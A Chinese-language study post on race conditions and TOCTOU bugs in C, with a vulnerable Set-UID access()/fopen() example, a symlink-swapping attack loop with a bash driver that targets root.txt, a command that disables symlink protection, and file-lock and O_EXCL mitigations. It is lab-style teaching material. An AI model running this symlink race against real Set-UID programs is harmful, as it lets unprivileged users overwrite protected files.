RaceConditions

早就听说过竞争,但是一直也没怎么认真研究过,最近打算静下来好好看看原理


Race Conditions

竞争

An execution ordering of concurrent flows that results in undesired behavior is called a race condition—a software defect and frequent source
of vulnerabilities.Race conditions result from runtime environments,including operating systems, that must control access to shared resources, especially through process scheduling.

竞争发生的时候,就是程序流并没有按照我们期望的方式运行,而且利用这个情况我们通常能够控制一些我们本来没有权限控制的文件,或者是文件流。这个情况往往是由于环境或者操作系统导致。

触发条件

竞争也不是什么时候都能够触发的。需要满足以下条件:

  • 并发性(Concurrency Property) – 至少有两个程序流同时执行
  • 存在共享对象(Shared Object Property) – 有一个对象能能够被两个程序流接触
  • 更改状态属性(Change State Property) – 至少有一条程序流会改变当前的状态

竞争窗口(Race Windows)与互斥(Mutual Exclusion)

为了避免竞争的发生,往往会有一段代码段,在这一段代码中,每一个程序流要通过竞争的方法获得共享资源。通过实现竞争窗口的互斥(Mutual Exclusion),从而避免竞争的发生。

死锁(Deadlock)与漏洞(Exploit)

如果说,在发生竞争的时候,程序流互相占用了对方的资源,或者将对方进程阻塞,那么这个时候程序流就会一直等待另一个程序执行结束,于是就陷入了互相等待的过程中。这个过程我们就称之为死锁(Deadlock)。死锁的触发条件如下:

  • 进程的速度
  • 进程/线程调度算法的计算
  • 执行的时候,内存限制发生变化
  • 能够终止程序执行的异步事件
  • 其他同时执行的进程的状态

一般竞争的攻击会尝试不同的攻击条件。如果能够让计算机在预算量异常大的负载下运行,可能可以触发竞争条件。

Time of check, time of use

设想下列情况:

一个应用允许用户编辑表格,同时也运行管理员禁止表格被编辑。一名用户申请了编辑的权限,然后开始编辑。在此期间,管理员因为特殊情况将表格禁止编辑。当用户将更改后的表格提交,应用程序检查发现当前的表格的确被授权可以更改,于是将更改后的表格提交上去了。

这种情况就是Time of check, time of use(简称TOCTOU)的一种例子。TOCTOU发生在包含共享文件的多进程程序中。这种程序多数情况下伴有程序的I/O。这类程序往往有以下两个步骤

  • 检查当前资源是否可用(checking)
  • 接触当前资源(using)

而我们如果能够在这两个过程中修改一点程序的逻辑,或者是运行环境的话,就能够将完成一次竞争攻击。
Linux下的典型例子

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) { // 这个程序检查some_file是否存在,并且是否可写
printf("access granted.\n");
fd = fopen("/some_file", "wb+"); // 如果存在,则创建当前文件
/* write to the file */
fclose(fd);
} . . .
return 0;
}

其中竞争就发生在

1
2
3
if (access("/some_file", W_OK) == 0) {
printf("access granted.\n");
fd = fopen("/some_file", "wb+");

这个位置的如果/some_file检查到可写,那么接下来就会往这个位置写入文件。然而,这个过程由于不是孤立的,所以我们能够同时运行另一个程序B,里面实现的功能如下

1
2
rm /some_file
ln /myfile /some_file

如果说两个程序同时运行,并且在access之后,B程序能够执行完毕,那么此时就可能往一个不可写的文件中写入数据。这类程序一般出现在程序本身的权限较高,但是用户获得的权限较低的时候。这种程序被称为Set UID程序,也就是程序的权限取决于当前程序用户ID权限,可以使用下列语句添加:

1
chmod +s filename

如果想要尝试上面的实验的话,除了要将程序设置成Set-UID的程序外,还要注意将当前的符号链接的保护关掉

1
sudo echo 0 > /proc/sys/fs/protected_symlinks

并且,为了保证程序运行的速度,我们可以自己写一个C语言程序,类似下面这样:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>

int main(){
while(1){
system("ln -sf tmp_file.txt temp.txt");
system("ln -sf root.txt temp.txt");
}
return 0;
}

用这个程序来创建链接,并且可以将攻击成功与否(也就是是否成功替换了符号连接)放在bash脚本中:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

old=`ls -l root.txt`
new_tmp=`ls -l root.txt`

# echo $new_tmp
while [ "$old" = "$new_tmp" ]
do
./race.bin
new_tmp=`ls -l root.txt`
done
echo "STOP... we win!"

然后执行attack程序和bash,就能够模拟这个竞争的过程。

还可以举出一个例子:

1
2
3
4
5
6
chdir("/tmp/a");
chdir("b");
chdir("c");
chdir("..");
rmdir("c");//如果c文件夹是空的,则删除掉这个文件夹
unlink("*");//将当前目录下的文件删除

上述的竞争发生在:

1
2
chdir("c");
chdir("..");

因为这个过程中,我们首先尝试进入c文件夹(检查c目录下的"…“文件是否存在),并且接触到其”…"目录,那么这里同样存在竞争:

1
mv /tmp/a/b/c /tmp/c

如果进行了上述操作,就能够通过竞争,实现让/tmp/目录下(而不是原先定义的/tmp/a/b/目录下)的文件删除的功能。

应对措施 – 文件锁(Lock)与解锁(Unlock)

由于同步的进程无法解决这个访问共享文件的问题(因为打开文件不是一个原语),所以提出了一种新的思路: 提供一种类型的变量,不能够被并发进程访问(比如说mutex变量等)。这些并发程序流能够使文件作为锁(lock)来限制多程序流执行。

  • 如果文件已经存在的话,那么当前的锁就锁上,防止第二个程序流接触到。
  • 如果当前文件还未存在,那么锁就释放,让文件可以被接触

文件操作中的锁的相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int lock(char *fn) {
int fd;
int sleep_time = 100;
while (((fd=open(fn,O_WRONLY|O_EXCL|O_CREAT,0)) == -1)&& errno == EEXIST) // 检查当前文件是否存在,如果存在的话,说明锁已经锁上的。
{
usleep(sleep_time);
sleep_time *= 2;
if (sleep_time > MAX_SLEEP) sleep_time = MAX_SLEEP;
}
return fd;
}
void unlock(char *fn) {
if (unlink(fn) == -1) err(1, "file unlock");
}

这段代码的问题是,open函数本身并没有被阻塞,也就是说这个位置存在竞争的可能。并且这个位置上应该一直重复计算直到文件被创建,这类锁被称为自旋锁(spinlock),通过消耗计算量和时间来实现等待。但是这个思路存在下列问题

  • 依赖与unlock函数,如果没有执行unlock函数,那么程序会无休止等待。
  • 在程序崩溃的时候,可能会发生当前的锁没能够来得及被释放的事情。

于是有一种新的解决办法:
lock()可以将当前的进程PID写入锁文件。一旦发现一个现有的锁(当前文件被打开了),那么在当前的活动进程列表中检索锁文件中的进程号PID。如果此时锁文件中没有能够找到当前活动PID,那么说明锁定文件的进程已经结束了,那么进行如下操作

  • 这个锁重新被获取,也就是说能够执行到return(理解成释放)
  • 锁文件将新的进程号包括进去

但是依旧有如下的问题:

  • 被终止的进程号可能被重用
  • 这个修补程序本身带有竞争条件

文件系统的漏洞

由于文件的操作在同等权限下的线程中是共享的,并且文件系统也是直接暴露在其他的进程中,所以文件操作是竞争的高发地带。
这种暴露导致的漏洞一般来源于以下几种形式

  • 文件权限
  • 文件的命名约定
  • 文件系统机制

很多程序运行出错之后,文件就会处于一种损坏的状态,导致一些不可避免的漏洞。

文件链接漏洞

之前的例子中已经提到过了,通常是出现在TOCTOU。常见的形式如下:

  • access之后调用fopen函数
  • stat之后调用open函数
  • 一个文件在调用过了open,read,write并且close之后,在同一个线程中被重复打开

一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// stat:打开指定的文件,并且将文件的信息存入statbuf中。如果这个文件不存在的话,返回-1
// 检查这个文件是否存在
if (stat("/dir/some_file", &statbuf) == -1) {
err(1, "stat");
}
// 然后检查这个文件大小是否合适
if (statbuf.st_size >= MAX_FILE_SIZE) {
err(2, "file size");
}
// 最后以只读的方式打开
if ((fd=open("/dir/some_file", O_RDONLY)) == -1) {
err(3, "open - /dir/some_file");
}
// process file

上述程序的例子中,可以使用之前提到过的方法,也就是在文件检查之前,我们就能够将/dir/some_file删除,并且使用链接替换成我们指定的文件。

缓解办法 —— O_CREAT 和 O_EXCL

当调用open的时候,如果同时设置了这两个标志位,那么如果open指定的文件存在,那么就返回-1…
利用这个标志位,在我们指定文件为链接文件的时候,会被识别出来。

打开一个UNIX文件,并且在之后unlink这个文件也会造成竞争。如果我们在unlink一个文件符号之前,就将这个文件改成了一个链接符号的话,那么此时unlink只会解除那个链接文件,从而保留我们指定的文件。

参考资料
部分实验参考至实验楼https://www.shiyanlou.com/courses/249/labs/807/document
http://repository.root-me.org/Programmation/C%20-%20C++/EN%20-%20Secure%20Coding%20in%20C%20and%20C++%20Race%20Conditions.pdf